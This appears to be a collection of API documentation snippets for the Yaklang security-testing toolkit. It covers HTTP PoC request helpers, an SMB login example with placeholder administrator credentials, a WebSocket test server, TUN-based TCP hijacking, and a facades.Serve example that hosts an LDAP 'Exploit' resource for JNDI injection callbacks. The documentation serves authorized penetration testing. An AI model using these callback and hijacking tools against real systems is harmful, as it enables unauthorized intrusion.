**opts** (...PocConfigOption) - Optional - Additional configuration options. ### Returns - **rspInst** (*lowhttp.LowhttpResponse) - The response structure. - **reqInst** (*http.Request) - The request structure. - **err** (error) - Error information if the request fails. ### Example ``` rsp, req = poc.Get("https://yaklang.com", poc.https(true))~ ``` ``` -------------------------------- ### facades.Serve Source: https://yaklang.io/docs/api/facades Starts a facade server at the specified address and port, blocking the execution. ```APIDOC ## facades.Serve ### Description Starts a facade server (supporting LDAP, RMI, HTTP) at the specified host and port and blocks the current thread. ### Parameters - **host** (string) - Required - The host address to bind the server. - **port** (int) - Required - The port to bind the server. - **configs** (...FacadeServerConfig) - Optional - A list of configuration options for the server. ``` -------------------------------- ### Multipart Boundary Header Example Source: https://yaklang.io/docs/security/cap8-1-http Example of a Content-Type header defining a multipart boundary. ```http Content-Type: multipart/form-data; boundary=abcd ``` -------------------------------- ### Connect to SMB with Credentials Source: https://yaklang.io/docs/api/smb Standard connection using username and password. ```yak // 指定用户名密码连接 SMB，此处仅作示意 session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~ defer session.Close() ``` ```yak // 指定用户名密码连接 SMB，此处仅作示意 session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~ defer session.Close() ``` ```yak // 建立 SMB 会话，依赖目标服务，此处仅作示意 session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~ defer session.Close() ``` -------------------------------- ### Create a WebSocket Test Server in Go Source: https://yaklang.io/blog/yaklang-websocket-hijacking-tutorial A standard Go implementation of a WebSocket server using the gorilla/websocket library for testing hijacking scenarios. ```go package main import ( "fmt" "net/http" "os" "time" "github.com/gorilla/websocket" ) func main() { var upgrader = websocket.Upgrader{} f, err := os.CreateTemp("", "test-*.html") if err != nil { panic(err) } f.Write([]byte(` Sample of websocket with golang
    `)) index := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, f.Name()) }) http.Handle("/", index) http.Handle("/index.html", index) http.HandleFunc("/ws", func(w http.ResponseWriter, r *http.Request) { // msg := &RecvMessage{} ws, err := upgrader.Upgrade(w, r, nil) if err != nil { panic(err) return } defer ws.Close() go func() { for { _, msg, err := ws.ReadMessage() if err != nil { panic(err) return } fmt.Printf("server recv from client: %s\n", msg) } }() for { time.Sleep(time.Second) ws.WriteJSON(map[string]interface{}{ "message": fmt.Sprintf("Golang Websocket Message: %v", time.Now()), }) } }) err = http.ListenAndServe(":8884", nil) if err != nil { panic(err) } } ``` -------------------------------- ### Serve Source: https://yaklang.io/docs/api/facades Starts a facade server on the specified host and port, blocking the execution. ```APIDOC ## Serve ### Description Starts a facade server that supports LDAP, RMI, and HTTP protocols on the specified host and port. This method blocks execution and is commonly used for JNDI injection callback exploitation. ### Signature `Serve(host string, port int, configs ...FacadeServerConfig) error` ### Parameters - **host** (string) - Required - The address to listen on. - **port** (int) - Required - The port to listen on. - **configs** (...FacadeServerConfig) - Optional - Configuration options such as facades.ldapResourceAddr or facades.httpResource. ### Returns - **r1** (error) - Returns an error if the service fails to start. ### Example ``` err = facades.Serve("0.0.0.0", 1389, facades.ldapResourceAddr("Exploit", "http://127.0.0.1:8000/")) ``` ``` -------------------------------- ### NewVMFromDevice Source: https://yaklang.io/docs/api/netstack Initializes a network stack virtual machine based on a provided TUN device. ```APIDOC ## NewVMFromDevice(device lowtun.Device) ### Description Creates a network stack virtual machine that hijacks TCP connections flowing through the TUN device. ### Parameters - **device** (lowtun.Device) - The TUN device to use ### Returns - **r1** (*NetstackVM) - Network stack VM object - **r2** (error) - Error information if initialization fails ``` -------------------------------- ### Delete GET Query Parameter Source: https://yaklang.io/docs/api/poc Removes a specific query parameter from the URL of a GET request. ```yak poc.DeleteHTTPPacketQueryParam(`GET /get?a=b&c=d HTTP/1.1 Content-Type: application/json Host: pie.dev `, "a") // 删除GET请求参数a ```